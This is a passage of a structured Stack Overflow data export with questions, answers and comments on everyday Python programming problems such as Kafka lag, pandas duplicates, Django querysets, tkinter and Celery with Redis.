'Coordinate', 'Coordinate'] coordvalues = [[44,33], [55,22], [77,66], [88,99], [77,11], [46,78], [44,33], [13,92], [21,69], [79,91]] heightkeys = ['Height', 'Height', 'Height', 'Height', 'Height', 'Height', 'Height', 'Height', 'Height', 'Height'] heightvalues = [333, 444, 555, 666, 777, 888, 999, 222, 2222, 3333] From these lists I want to insert the values into the list of dictionaries. So that the result follows the following pattern: the first entry of the first valuelist will correspond to the first value of the second valuelist (where both end up in the same dictionary). Obviously I would wish to not use the coordkeys, and heightkeys lists if that is possible. To illlustrate the pattern the end result will have, with all the values from both lis…
has comment: http://stackoverflow.com/comment/81575070
tagged with: python

http://stackoverflow.com/a/47278494
has comment: http://stackoverflow.com/comment/81537449
has body: Example using dateutil from dateutil.parser import * dates = ["2005","2006","4 March 2013","5 April 2012","14th February 2012","7th January 2014","April 10, 2014","March 3, 2017","October 1st, 1943","Dec 23rd, 1978"] for date in dates: print(dateutil.parser.parse(date))
upvote count: 0
downvote count: 2
has comment: http://stackoverflow.com/comment/81507784
answers question: http://stackoverflow.com/q/47278134
score: -2
type: Answer

http://stackoverflow.com/a/47241786
has comment: http://stackoverflow.com/comment/81435037
has comment: http://stackoverflow.com/comment/81434230
has comment: http://stackoverflow.com/comment/81435188
has comment: http://stackoverflow.com/comment/81434130
has comment: http://stackoverflow.com/comment/81435179
type: Answer
has body: Try this code: papers=[] out = [] for index,value in enumerate(papers): try: out.append(str(papers[index]['TH']) + "\n" + str(papers[index]['AB']) + "\n" + str(papers[index]['MH']) + "\n") except KeyError: out.append("MISSING INFORMATION \n") print(out)
answers question: http://stackoverflow.com/q/47241623
score: 0
has comment: http://stackoverflow.com/comment/81435149
has comment: http://stackoverflow.com/comment/81435121
has comment: http://stackoverflow.com/comment/81435232

http://stackoverflow.com/q/47250956
has title: Cumulative sum of relative probabilities in an non-ordered list
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81454211
tagged with: probability
answer count: 1
downvote count: 0
score: 1
tagged with: cumulative-sum
has comment: http://stackoverflow.com/comment/81453016
has comment: http://stackoverflow.com/comment/81453532
favorite count: 0
has answer: http://stackoverflow.com/a/47252292
type: Question
tagged with: python-3.x
has body: population_d = {'0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,1': 6, '0,0,1,1,1,0,0,1,1,0,1,1,0,0,0,1': 3, '0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0': 5, '1,0,0,1,1,1,0,0,1,1,0,1,1,0,0,0': 1} def ProbabilityList(population_d): fitness = population_d.values() total_fit = (sum(fitness)) relative_fitness = [f/total_fit for f in fitness] probabilities = [sum(relative_fitness[:i+1]) for i in range(len(relative_fitness))] return (probabilities) I was trying to calculate the cumulative probabilities for such a data structure, however, I need to keep the order of the values for indexing them to the respective individuals in the same positions in another list. The programs performs the operations sequentially, giving a higher weight for the last position, which in this case would be the lowest fitness. Does anyone know if there is a way to perform the cumulative sum in the correct way (crescent order of fitness values), without changing their position in the output list? Thank you very much!
has comment: http://stackoverflow.com/comment/81453205
upvote count: 1
tagged with: python
accepted answer: http://stackoverflow.com/a/47252292
has comment: http://stackoverflow.com/comment/81453429

http://stackoverflow.com/q/47247867
tagged with: global-variables
has answer: http://stackoverflow.com/a/47248307
type: Question
tagged with: python-3.x
answer count: 2
has body: I have only been programming 3 months so any advice on improvement to my code is appreciated even if it inst related to my specific question. Its a simple small project with tkinter. Two fields to enter your first and last name then you hit the swap button and it will swap what ever you put in the name fields. Problem is I dont want to use globals and I cant seem to figure it out I know its probably something easy and I did spend time trying to figure it out. If you have any improvements to the code let me know. from tkinter import * ### I dont Want Globals but cant figure out another method for doing this ### Hope some one can help me with this part evar = "" evar1 = "" def mainWindow(): root = Tk() root.title("Swap Names") root.geometry("400x150+100+250") return root def createVar(): global evar global evar1 evar = StringVar() evar1 = StringVar() def firstNameFrame(root): frame1 = Frame(root) frame1.pack(side=TOP, padx=2, pady=2) label = Label(frame1, text="First Name:") label.pack(side=LEFT, padx=2, pady=2) entry = Entry(frame1, textvariable = evar) entry.pack(side=LEFT, pady = 2) def lastNameFrame(root): frame2 = Frame(root) frame2.pack(side=TOP, padx=2, pady=2) label = Label(frame2, text="Last Name:") label.pack(side=LEFT, padx=1, pady=1) entry = Entry(frame2, textvariable = evar1) entry.pack(side=LEFT, pady = 5) def swapFrame(root): frame3 = Frame(root) frame3.pack(side=TOP, padx=10, pady = 10) swapButton = Button(frame3, text="Swap",command = swap) swapButton.pack(side=LEFT, padx =5, pady=5) ### I would like to some how use swap with out using a global def swap(): b=evar.get() evar.set(evar1.get()) evar1.set(b) def main(): root = mainWindow() createVar() firstNameFrame(root) lastNameFrame(root) swapFrame(root) root.mainloop() main()
tagged with: tkinter
has title: Python3.6 : Trying to avoid using a global for my swap function with tkinter
downvote count: 0
tagged with: local-variables
has comment: http://stackoverflow.com/comment/81446988
upvote count: 1
accepted answer: http://stackoverflow.com/a/47248307
tagged with: python
possible better answer: http://stackoverflow.com/a/47248453
favorite count: 0
has answer: http://stackoverflow.com/a/47248453
type: AnsweredQuestion
score: 1

http://stackoverflow.com/a/47323934
has body: Assuming product is a list containing the numbers you want to find the sum of sqaures, you can iterate through the list and calculate squares of each number and add it to a list called result. At last you can return the sum of that list. In codes you can do like this.. def sumofsquares(x1): result = [] # list to store squares of each number for i in range(len(x1)): # iterating through the list result.append(x1[i] ** 2) # squaring each number and appending to the list return (sum(result)) # returning the sum of the list product = [1, 2, 3] # declaring the array to find sum of sqaure print (sumofsquares(product)) # calling the function and displaying the return value # Output 14 Hope this helps.!!
type: Answer
accepted answer of: http://stackoverflow.com/q/47323854
has comment: http://stackoverflow.com/comment/81598623
downvote count: 0
score: 1
upvote count: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47323854
has comment: http://stackoverflow.com/comment/81598815
has comment: http://stackoverflow.com/comment/81598645
has comment: http://stackoverflow.com/comment/81598752

http://stackoverflow.com/comment/81486977
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/47267685
has text: Thanks very much for your quick reply! What else can influence that?

http://stackoverflow.com/comment/81417856
score: 0
type: AnswerComment
has text: How do I do that?
type: Comment
comment on: http://stackoverflow.com/a/47233471

http://stackoverflow.com/q/47305359
type: Question
has answer: http://stackoverflow.com/a/47329678
answer count: 2
has answer: http://stackoverflow.com/a/68990743
downvote count: 0
tagged with: kafka-consumer-api
type: UnansweredQuestion
has title: Kafka partition Lag increasing
tagged with: apache-kafka
upvote count: 3
score: 3
tagged with: python
favorite count: 0
tagged with: kafka-python
has body: I have an application which uses Kafka 1.0 as a queue. The Kafka topic has 80 partitions and 80 consumers running. (Kafka-python consumers). By running the command : ./bin/kafka-consumer-groups.sh --bootstrap-server localhost:9092 --group mygroup --describe I see that one of the partitions is stuck at an offset, and the lag continuously increases as new records are added to it. The output of the above command looks something like this: TOPIC PARTITION CURRENT-OFFSET LOG-END-OFFSET LAG CONSUMER-ID HOST 118 mytopic 37 1924 2782 858 kafka-python-1.3.4-3da99d4d-63e8-4e72-967e-xxxxxxxxxxx/localhost 119 mytopic 38 2741 2742 1 kafka-python-1.3.4-40b44482-39fc-42d0-8f55-xxxxxxxxxxx/localhost 120 mytopic 39 2713 2713 0 kafka-python-1.3.4-4121d080-1d7c-4d6b-ac58-xxxxxxxxxxx/localhost 121 mytopic 40 2687 2688 1 kafka-python-1.3.4-43441f6e-fd35-448e-b791-xxxxxxxxxxx/localhost What causes this? Also resetting offset using reset-offsets command is not desirable as this server might not be manually monitored on a regular basis. Clients run in background as parallel processes in a Linux m/c: consumer = KafkaConsumer('mytopic', group_id='mygroup', bootstrap_servers='localhost:9092', session_timeout_ms=120000, heartbeat_interval_ms=100000, max_poll_records=1, auto_commit_interval_ms=100000, request_timeout_ms=350000, max_partition_fetch_bytes=3*1024*1024, value_deserializer=lambda m: json.loads(m.decode('ascii'))) for message in consumer: msg = json.loads(message.value) process_message(msg)

http://stackoverflow.com/comment/81683809
comment on: http://stackoverflow.com/q/47331575
score: 0
type: Comment
has text: Essentially when you do `print(x)` on something that isn't a string, such as on a [`MethodType`](https://docs.python.org/3/library/types.html#types.MethodType) which is what all user-defined methods of class instances are, `x` is first converted to a string via [`str(x)`](https://docs.python.org/3.4/library/stdtypes.html#str) or [`repr(x)`](https://docs.python.org/3.4/library/functions.html#repr). What you saw as the output in Jupyter was just the way `MethodType` is represents itself as a string.
type: QuestionComment

http://stackoverflow.com/q/47357831
has answer: http://stackoverflow.com/a/47358142
has answer: http://stackoverflow.com/a/47358713
tagged with: python
type: UnansweredQuestion
score: 0
has body: I have the following DataFrame: dur wage1 wage2 wage3 cola hours pension stby_pay shift_diff 6 3.0 2.0 3.0 NaN tcf NaN empl_contr NaN NaN 8 1.0 2.8 NaN NaN none 38.0 empl_contr 2.0 3.0 9 1.0 5.7 NaN NaN none 40.0 empl_contr NaN 4.0 13 1.0 5.7 NaN NaN none 40.0 empl_contr NaN 4.0 17 3.0 2.0 3.0 NaN tcf NaN empl_contr NaN NaN 31 1.0 5.7 NaN NaN none 40.0 empl_contr NaN 4.0 43 2.0 2.5 3.0 NaN NaN 40.0 none NaN NaN 44 1.0 2.8 NaN NaN none 38.0 empl_contr 2.0 3.0 47 3.0 2.0 3.0 NaN tcf NaN empl_contr NaN NaN What I have to do is count the rows that are exactly the same, including the NaN values. The problem is the following, I use groupby, but it is a function that ignores the NaN values, that is, it does not have them in mind when doing the counting, that is the reason why I am not returning a correct output counting the number of exact repetitions between those rows. My code is the following one: def detect_duplicates(data): x = DataFrame(columns=data.columns.tolist() + ["num_reps"]) aux = data[data.duplicated(keep=False)] x = data[data.duplicated(keep=False)].drop_duplicates() #This line should count my repeated rows s = aux.groupby(data.columns.tolist(),as_index=False).transform('size') return x If I print "x" var, I get this result, it shows all the repeated rows: dur wage1 wage2 wage3 cola hours pension stby_pay shift_diff 6 3.0 2.0 3.0 NaN tcf NaN empl_contr NaN NaN 8 1.0 2.8 NaN NaN none 38.0 empl_contr 2.0 3.0 9 1.0 5.7 NaN NaN none 40.0 empl_contr NaN 4.0 13 1.0 5.7 NaN NaN none 40.0 empl_contr NaN 4.0 17 3.0 2.0 3.0 NaN tcf NaN empl_contr NaN NaN 31 1.0 5.7 NaN NaN none 40.0 empl_contr NaN 4.0 43 2.0 2.5 3.0 NaN NaN 40.0 none NaN NaN 44 1.0 2.8 NaN NaN none 38.0 empl_contr 2.0 3.0 47 3.0 2.0 3.0 NaN tcf NaN empl_contr NaN NaN 51 3.0 2.0 3.0 NaN tcf NaN empl_contr NaN NaN 53 2.0 2.5 3.0 NaN NaN 40.0 none NaN NaN Now I have to count those rows from my x result that are exactly the same. This should be my correct output: dur wage1 wage2 wage3 cola hours pension s…
answer count: 2
has title: Counting rows with NaN
type: Question

http://stackoverflow.com/q/47298117
tagged with: python
has title: Django query sets using CAST
has comment: http://stackoverflow.com/comment/81633073
has comment: http://stackoverflow.com/comment/81577724
score: 0
tagged with: django-queryset
answer count: 0
has comment: http://stackoverflow.com/comment/81554232
tagged with: django
type: Question
type: UnansweredQuestion
has body: Hello guys I'm trying to order a string in a django queryset using CAST but I can not achieve the order, I need a hand. s = Empresas.objects.filter(codigo__startswith="B") \ .extra({'codigo_uint': "CAST(codigo as INTEGER)"}) \ .order_by('-codigo_uint') for x in s: print x.codigo what I got is: B-001 B-999 B-1000 B-897 B-010 B-099 B-100 B-500 B-9999 How can I get the correct order of this ? I really appreciate the help models.py class Empresas(models.Model): nombre = models.CharField(max_length=250) codigo = models.CharField(max_length=250)

http://stackoverflow.com/q/47276227
has answer: http://stackoverflow.com/a/47276412
has body: I'm trying to create a django web app that uses data from CSV's. I've created a django model to house the data from these csv's, I've stored all the csv's in STATIC_ROOT. When I load the page, the called template (datalandingpage.html) loads with no problem. However, when I check django admin, none of the CSVs have been imported. If I were to guess, I think the shortcoming has something to do with django not being able to find the files (though I'm just guessing, I could very well be wrong since I'm a relatively new developer). Below is all the relevant code I've written as an attempt. Edit: So it looks like my view function may be skipping straight to the render part, which may be why I don't see any errors when it runs. Any ideas as to why this may be the case? settings.py: # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/1.11/howto/static-files/ STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'static/data') models.py: from __future__ import unicode_literals from django.db import models from django.contrib import admin class Data(models.Model): # A bunch of model objects (CharField/IntegerFields mainly) class Meta: verbose_name_plural = 'Data Sets' def __str__(self): return self.someobject views.py: from __future__ import unicode_literals from django.conf import settings from django.shortcuts import render, render_to_response from django.template import RequestContext from .models import Data import csv import os def landing(request): # Opens all csv files in specified directory directory = os.path.join(settings.STATIC_ROOT) for files in os.walk(directory): for file in files: if file.endswith(".csv"): f = open(file, 'r') reader = csv.reader(f) #Checks the rows/columns and tries to find the specified string that marks the start of data for i, row in enumerate(reader): target_string = "Some string in the CSV" if target_string in row: target_row = i return target_row break #Checks the rows/columns and tries to find the specifi…
has answer: http://stackoverflow.com/a/47317263
has title: CSV not importing to django models
type: Question
has comment: http://stackoverflow.com/comment/81504231
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/csv
tagged with: django
tagged with: django-models
tagged with: python
has answer: http://stackoverflow.com/a/47276642
has comment: http://stackoverflow.com/comment/81506588
score: 0
answer count: 3
linked to: http://stackoverflow.com/q/2459979
has comment: http://stackoverflow.com/comment/81504044
linked to: http://stackoverflow.com/q/9282967

http://stackoverflow.com/comment/81612219
comment on: http://stackoverflow.com/a/47317876
type: AnswerComment
score: 0
type: Comment
has text: But I was looking for some clean way to do this. This same thing would result in itiratable array of objects in Laravel or ROR.

http://stackoverflow.com/comment/81589287
type: QuestionComment
has text: What is the prime function? How are you *calling the code above?* We don't know what you don't show us, if you can't get something to work, please provide a [mcve] and also, a description of how it doesn't work.
score: 1
comment on: http://stackoverflow.com/q/47318908
type: Comment

http://stackoverflow.com/q/47262144
has comment: http://stackoverflow.com/comment/81556589
linked to: http://stackoverflow.com/q/47227502
has title: python 3, headless RaspPi, locale de_DE not possible for python-evdev
score: 0
has answer: http://stackoverflow.com/a/47355738
has comment: http://stackoverflow.com/comment/81539483
answer count: 1
tagged with: evdev
type: Question
tagged with: linux
tagged with: locale
type: UnansweredQuestion
has body: After the main problem is solved try to read from multiple HID inputs I open here a new question for the following (and different) problem: I installed minibian on a RaspPi. The entire system is running on 'de_DE', in details: root@ddpi:~# locale LANG=de_DE.UTF-8 LANGUAGE= LC_CTYPE="de_DE.UTF-8" LC_NUMERIC="de_DE.UTF-8" LC_TIME="de_DE.UTF-8" LC_COLLATE="de_DE.UTF-8" LC_MONETARY="de_DE.UTF-8" LC_MESSAGES="de_DE.UTF-8" LC_PAPER="de_DE.UTF-8" LC_NAME="de_DE.UTF-8" LC_ADDRESS="de_DE.UTF-8" LC_TELEPHONE="de_DE.UTF-8" LC_MEASUREMENT="de_DE.UTF-8" LC_IDENTIFICATION="de_DE.UTF-8" LC_ALL= and root@ddpi:~# grep -v ^# /etc/locale.gen de_DE.UTF-8 UTF-8 and also python locale.getdefaultlocale() says 'de_DE','utf-8'. There is no X running (because it's not installed): ps -aux | grep X says 1297 0.0 0.1 4212 1828 pts/0 S+ 10:13 0:00 grep X and systemctl get-default says multi-user.target. But there is the following problem: I have a German keyboard connected, which writes german as expected in console, but is recognized as english from evdev. I am using these scripts, read input from usb keyboard in linux in combination with reading events from multiple devices which works as expected, except the language. My Y keystroke is recognized as KEY_Z, my Z keystroke as KEY_Y, my ß as KEY_MINUS and so on. But everything, so far I can see, is set to de_DE. This script (the evdev part only) from evdev import InputDevice, categorize, ecodes dev = InputDevice('/dev/input/event0') print(dev) #device /dev/input/event1, name "Dell Dell USB Keyboard", phys "usb-0000:00:12.1-2/input0" for event in dev.read_loop(): if event.type == ecodes.EV_KEY: print(categorize(event)) says key event at 1510568613.966220, 44 (KEY_Z), down key event at 1510568614.039341, 44 (KEY_Z), up key event at 1510568614.926334, 21 (KEY_Y), down key event at 1510568614.998331, 21 (KEY_Y), up key event at 1510568615.799577, 12 (KEY_MINUS), down key event at 1510568615.863569, 12 (KEY_MINUS), up for yzß keystrokes. What's wrong…
tagged with: python

http://stackoverflow.com/q/47327604
favorite count: 0
tagged with: python-3.x
type: Question
accepted answer: http://stackoverflow.com/a/47327923
possible better answer: http://stackoverflow.com/a/47328727
has comment: http://stackoverflow.com/comment/81606412
tagged with: python
has title: search for exact string value in different json files with exact name
type: AnsweredQuestion
tagged with: http://stackoverflow.com/tag/json
answer count: 2
downvote count: 0
has answer: http://stackoverflow.com/a/47328727
has answer: http://stackoverflow.com/a/47327923
has body: I have a directory structure like the one given below. main folder / | \ folder1 folder2 folder3 ... and in all of these folders have the same file data21.json My goal is to search for specific string value (like '0d92c8d2-5a57-4c20-9ad7-cbe4fbf51615') in all these .json file and if found in one of them just stop searching, else print false. I could do this only for one file with this pipeline_id = '0d92c8d2-5a57-4c20-9ad7-cbe4fbf51615' found = False if pipeline_id in open('dir1/data21.json').read(): found = True pprint(found) Just cannot find how to search in all /directory/anydirectory/data21.json
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/81606037

http://stackoverflow.com/comment/81727986
type: QuestionComment
score: 0
has text: You can reinstall odoo without reinstalling postgres
type: Comment
comment on: http://stackoverflow.com/q/47363457

http://stackoverflow.com/q/47326959
tagged with: pyspark
tagged with: python
tagged with: rdd
score: 0
answer count: 1
has body: I have a pyspark dataframe A, that has 3 columns: Lat lon zip -69 40 trp -69 41 nxt I have another pyspark dataframe B, that has same columns, but values captured will be different: Lat lon zip -68 43 trp -89 45 trp I want to create latitude longitude pairs for each record of A, based on matching zip in dataframe B. So the output RDD pairs would be like: (([-69,40],[-68,43]), ([-69,40],[-89,45])) Can I do this without looping? I was trying to replicate .map used here:Spark cartesian product Unsuccessfully
has answer: http://stackoverflow.com/a/47329869
linked to: http://stackoverflow.com/q/38828139
type: Question
has title: Creating latitude, longitude pairs for distance calculation, based on matching zip in 2 spark dataframes
type: UnansweredQuestion
tagged with: cartesian-product

http://stackoverflow.com/comment/81418991
type: QuestionComment
comment on: http://stackoverflow.com/q/47234122
type: Comment
has text: Well, if it's not working, something must be missing.
score: 0

http://stackoverflow.com/comment/81589025
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47318771
has text: @SamvanKampen sorry, trying to refer to you as well. Thank you
score: 0

http://stackoverflow.com/comment/81485142
score: 0
type: Comment
has text: Okay, so the next step, sending a file - As I mentioned you won't find it in $_POST but in $_FILES, use move_uploaded_file or file_get_contents (both you can find plenty of info on php.net, or here on stack)
type: AnswerComment
comment on: http://stackoverflow.com/a/47265743

http://stackoverflow.com/q/47304655
has title: Python equivalent of ruby rspec's "skip" and "pending"
has answer: http://stackoverflow.com/a/47304656
tagged with: unit-testing
favorite count: 0
type: Question
tagged with: ruby
upvote count: 2
type: UnansweredQuestion
answer count: 1
has body: I'm coming from ruby to python. With ruby's rspec, I am used to using skip and pending to denote tests which should be skipped / cannot currently be executed. What are the equivalents in Python?
downvote count: 0
tagged with: python
tagged with: pytest
score: 2
tagged with: rspec

http://stackoverflow.com/q/47272072
tagged with: docker
has answer: http://stackoverflow.com/a/47275503
has answer: http://stackoverflow.com/a/47273294
type: AnsweredQuestion
upvote count: 19
has comment: http://stackoverflow.com/comment/81496281
has comment: http://stackoverflow.com/comment/81496107
has comment: http://stackoverflow.com/comment/81497562
downvote count: 0
tagged with: django
has title: Celery workers unable to connect to redis on docker instances
accepted answer: http://stackoverflow.com/a/47273294
score: 19
favorite count: 0
tagged with: celery
type: Question
has comment: http://stackoverflow.com/comment/81496304
has comment: http://stackoverflow.com/comment/81496512
tagged with: docker-compose
answer count: 3
has comment: http://stackoverflow.com/comment/81496127
has body: I have a dockerized setup running a Django app within which I use Celery tasks. Celery uses Redis as the broker. Versioning: Docker version 17.09.0-ce, build afdb6d4 docker-compose version 1.15.0, build e12f3b9 Django==1.9.6 django-celery-beat==1.0.1 celery==4.1.0 celery[redis] redis==2.10.5 Problem: My celery workers appear to be unable to connect to the redis container located at localhost:6379. I am able to telnet into the redis server on the specified port. I am able to verify redis-server is running on the container. When I manually connect to the Celery docker instance and attempt to create a worker using the command celery -A backend worker -l info I get the notice: [2017-11-13 18:07:50,937: ERROR/MainProcess] consumer: Cannot connect to redis://localhost:6379/0: Error 99 connecting to localhost:6379. Cannot assign requested address.. Trying again in 4.00 seconds... Notes: I am able to telnet in to the redis container on port 6379. On the redis container, redis-server is running. Is there anything else that I'm missing? I've gone pretty far down the rabbit hole, but feel like I'm missing something really simple. DOCKER CONFIG FILES: docker-compose.common.yml here docker-compose.dev.yml here
has comment: http://stackoverflow.com/comment/81495677
has answer: http://stackoverflow.com/a/61942278
has comment: http://stackoverflow.com/comment/81495836
tagged with: python
possible better answer: http://stackoverflow.com/a/47275503
has comment: http://stackoverflow.com/comment/81496408

http://stackoverflow.com/a/68863883
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/47335217
score: 1
has body: The error you are facing might be attributed to an issue with the service account key itself. \n is a control character present in the key which signifies a new line, which might be causing the issue. To solve the error, you can either validate the content of the JSON file or you can download the key from Google Cloud again. The key can be downloaded by following these instructions. After acquiring the service account key, the environment variable GOOGLE_APPLICATION_CREDENTIALS has to be set depending on the Operating System used. As the final step, run the following Python code which performs a labeling task using the Cloud Vision API. The service account key will be automatically used to authenticate the labeling request. import io import os # Imports the Google Cloud client library from google.cloud import vision # Instantiates a client client = vision.ImageAnnotatorClient() # The name of the image file to annotate file_name = os.path.abspath('path/to/file/sample.jpg') # Loads the image into memory with io.open(file_name, 'rb') as image_file: content = image_file.read() image = vision.Image(content=content) # Performs label detection on the image file response = client.label_detection(image=image) labels = response.label_annotations print('Labels:') for label in labels: print(label.description) The code prints out the labels which the API returns. The Vision API can detect and extract information about entities in an image, across a broad group of categories.
downvote count: 0

http://stackoverflow.com/comment/81421674
score: 0
type: AnswerComment
has text: Sorry, so for clarification, how would this work for my loop? How do I set the scalar mappable when I don't have a single dataframe but many? I need a common colorbar (common color scheme) for many dataframes with many different ranges of values. Note that my code for the colorbar (when setting `ax = plt.scatter`) worked perfectly as long as I kept numeric x axis. The problem appeared when I started playing with the axis formatting.
comment on: http://stackoverflow.com/a/47235352
type: Comment

http://stackoverflow.com/q/47273027
score: 0
tagged with: python
tagged with: ipython
has title: Interactive beautiful slider line/ribbon plots of Pandas dataframe without putting data online (Maybe with IPython widgets?)
tagged with: widget
type: UnansweredQuestion
answer count: 1
has body: Consider the beautiful graph [code first, image not showing because I have no upvotes yet]: import pandas as np from plotnine import * df = pd.DataFrame([ {'Year': 2000, 'X':1, 'Y': 1, 'err': .1}, {'Year': 2000, 'X':2, 'Y': 2, 'err': .2}, {'Year': 2000, 'X':3, 'Y': 3, 'err': .3}, {'Year': 2001, 'X':1, 'Y': 1, 'err': .1}, {'Year': 2001, 'X':2, 'Y': 4, 'err': .3}, {'Year': 2001, 'X':3, 'Y': 9, 'err': .5}, {'Year': 2002, 'X':1, 'Y': 1, 'err': .2}, {'Year': 2002, 'X':2, 'Y': 8, 'err': .6}, {'Year': 2002, 'X':3, 'Y': 27, 'err': .9}, ]) df.set_index('Year') df['ymin'] = df['Y'] - df['err'] df['ymax'] = df['Y'] + df['err'] (ggplot(df, aes(x='X', y='Y', group='Year', color='Year', ymin='ymin', ymax='ymax')) + geom_line() + geom_ribbon(alpha=.2) ) Beautiful graph How can I make an interactive version of this plot where one can use a slider to change the year being graphed? In my real data set I have 20 years of data and I would like to see how the distribution of this line, and its error bar, changes over time simply by sliding from 1997-2017. Importantly, I cannot upload the data to a server, so that rules out Plotly. I spent several hours trying to make this work with Bokeh, but could not figure out how to make it play nice with Pandas dataframes. This seems like something that should be easy to do! And yet so many of the tutorials seem incredibly dense and hard to follow. Is it? Edit: Can this be done with IPython widgets?
tagged with: plot
type: Question
tagged with: ggplot2
has answer: http://stackoverflow.com/a/47337728

http://stackoverflow.com/comment/115447731
score: 0
comment on: http://stackoverflow.com/a/47338393
has text: The `sudo`s will be incorrect for many scenarios. If you need to install things system-wide it's required, but most people should probably be using a virtualenv and/or installing the package only for themselves.
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47326361
upvote count: 0
answer count: 1
downvote count: 1
favorite count: 0
has body: i'm trying to execute this type of sql command with python but that doesn't work import pymssql _conn = pymssql.connect(** SQL parameter) _cur = _conn.cursor() _cur.execute("EXEC(SELECT * something)") i got this error. Thanks.
type: Question
has answer: http://stackoverflow.com/a/47326539
has comment: http://stackoverflow.com/comment/81603505
has comment: http://stackoverflow.com/comment/81603557
has comment: http://stackoverflow.com/comment/81603615
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/81603403
score: -1
has title: pymssql, can't execute EXEC command sql
tagged with: pymssql
tagged with: sql

http://stackoverflow.com/q/47330674
tagged with: excel
upvote count: 2
type: AnsweredQuestion
score: 2
answer count: 2
has comment: http://stackoverflow.com/comment/81613608
downvote count: 0
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/81613981
tagged with: xlsxwriter
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/62750402
accepted answer: http://stackoverflow.com/a/62750402
has comment: http://stackoverflow.com/comment/81652405
has body: this is my code covert CSV file to .xlsx file, for small size CSV file this code is working fine, but when I tried for larger size CSV files, Its shows an error. import os import glob import csv from xlsxwriter.workbook import Workbook for csvfile in glob.glob(os.path.join('.', 'file.csv')): workbook = Workbook(csvfile[:-4] + '.xlsx') worksheet = workbook.add_worksheet() with open(csvfile, 'r', encoding='utf8') as f: reader = csv.reader(f) for r, row in enumerate(reader): for c, col in enumerate(row): worksheet.write(r, c, col) workbook.close() the error is File "CsvToExcel.py", line 12, in <module> for r, row in enumerate(reader): _csv.Error: field larger than field limit (131072) Exception ignored in: <bound method Workbook.__del__ of <xlsxwriter.workbook.Workbook object at 0x7fff4e731470>> Traceback (most recent call last): File "/usr/local/lib/python3.5/dist-packages/xlsxwriter/workbook.py", line 153, in __del__ Exception: Exception caught in workbook destructor. Explicit close() may be required for workbook.
possible better answer: http://stackoverflow.com/a/47330861
has comment: http://stackoverflow.com/comment/81613414
tagged with: python
has answer: http://stackoverflow.com/a/47330861
has title: Convert large CSV file to excel using Python 3

http://stackoverflow.com/comment/81631374
score: 1
comment on: http://stackoverflow.com/q/47339431
type: Comment
type: QuestionComment
has text: What version of Django are you using? Also, mind posting your settings.py (or at least the middleware parameter)?

http://stackoverflow.com/comment/81638881
type: AnswerComment
has text: Thank you so much @Oluwafemi Sule and @Blurp. Real quick help. Appreciate it. I'll use `os.listdir()` which is way more convenient than the method I used.
comment on: http://stackoverflow.com/a/47343226
score: 0
type: Comment

http://stackoverflow.com/q/47234542
has comment: http://stackoverflow.com/comment/81419810
downvote count: 1
has body: So I am trying to create a small turnbased program and I came up with some code to determine the player's turn order just fine. However when I tried to do determine the enemies' based upon the players', I ran into a problem. It keeps returining the unhashable error to me. Is there a way to deal with that so I get my desired result, or if you have a better solution for my problem please let me know. Here is the code: Pm1Order = random.randint(1,8) Pm2Order = random.randint(1,8) if Pm2Order == Pm1Order: Pm2Order = Pm1Order - 1 if Pm2Order == 0: Pm2Order = Pm1Order + 1 Pm3Order = random.randint(1,8) if Pm3Order == Pm2Order: Pm3Order = Pm1Order - 2 if Pm3Order == 0: Pm3Order = Pm1Order + 2 Pm4Order = random.randint(1,8) if Pm4Order == Pm3Order: Pm4Order = Pm1Order - 3 if Pm4Order == 0: Pm4Order = Pm1Order + 3 print("The turn orders for your party is " +str(Pm1Order)+ " for the knight, " +str(Pm2Order)+ " for the theif, " +str(Pm3Order)+ " for the doctor, and " +str(Pm4Order)+ " for the priest.") PlayerOrder = set([Pm1Order , Pm2Order , Pm3Order , Pm4Order]) print(str(PlayerOrder)) FullOrder = set([1, 2, 3, 4, 5, 6, 7, 8]) EnemyOrder = FullOrder.difference(PlayerOrder) EnemyOrder2 = FullOrder.difference(PlayerOrder) print(str(EnemyOrder)) Enemy1Order = random.sample(set([EnemyOrder]), 1) print(Enemy1Order) Traceback (most recent call last): File "foo.py", line xx, in &lt;module&gt; Enemy1Order = random.sample(set([EnemyOrder]), 1) TypeError: unhashable type: 'set'
has answer: http://stackoverflow.com/a/47234606
has title: I keep receiving the unhashable error when trying to deal with Turn Order?
score: -1
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81419716
upvote count: 0
type: UnansweredQuestion
answer count: 1
tagged with: python

http://stackoverflow.com/comment/81996358
type: AnswerComment
comment on: http://stackoverflow.com/a/47313764
has text: @Michele if this solution helped you would you [accept](https://meta.stackexchange.com/questions/5234/how-does-accepting-an-answer-work?answertab=votes#tab-top). I'd really appreciate it.
type: Comment
score: 0

http://stackoverflow.com/comment/81444627
score: 1
type: Comment
comment on: http://stackoverflow.com/a/47245631
has text: @Miraj50 I didn't improve it as yours was perfectly fine.
type: AnswerComment

http://stackoverflow.com/comment/81552679
type: Comment
type: QuestionComment
has text: @nfn neil : yes ! if you look carefully... i converted the dict to lists x = globals().items()
comment on: http://stackoverflow.com/q/47300798
score: 0

http://stackoverflow.com/q/47263749
upvote count: 2
has title: Grouping Rows as Dictionary in Python
downvote count: 0
tagged with: python
accepted answer: http://stackoverflow.com/a/47264104
tagged with: dictionary
has comment: http://stackoverflow.com/comment/81478765
has answer: http://stackoverflow.com/a/47264104
score: 2
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81478666
has comment: http://stackoverflow.com/comment/81478272
